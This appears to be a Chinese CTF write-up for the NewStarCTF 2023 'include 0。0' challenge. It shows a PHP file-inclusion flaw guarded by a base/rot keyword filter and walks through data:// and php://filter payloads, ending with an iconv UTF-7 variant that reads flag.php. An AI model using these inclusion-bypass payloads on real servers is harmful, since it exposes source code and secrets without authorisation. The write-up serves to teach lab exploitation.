[NewStarCTF 2023]include 0。0--详细解析

信息搜集

进入界面,回显是如下php代码:

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> nope

告诉我们flag在flag.php中。
且有include()函数,说明是文件包含漏洞,我们要传参file,达到获取flag.php内容的目的。

文件包含

if(isset($file) && !preg_match('/base|rot/i',$file))

要传参file,且file的值中不能有base和rot。

data伪协议可以使用:

data://text/plain,<?php phpinfo();?>

但是使用之后发现没有回显:
在这里插入图片描述
data://伪协议的使用前提是allow_url_fopen :on且allow_url_include:on
可能这两个配置被关闭了。
使用php://input伪协议也不行。
那不受这两个配置影响的伪协议还剩php://filter,这个协议的常规用法是:

php://filter/convert.base64-encode/resource=<目标文件名>

但其实还有很多种变种,比如:

php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名>  //将utf8编码转换utf16编码

我们使用变种里的第二个:
在这里插入图片描述
得到flag.

总结

使用php伪协议时要考虑目标服务器是否开启了相关配置。
php://filter有很多变种,目前还不是很熟悉这个伪协议,明天总结一下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值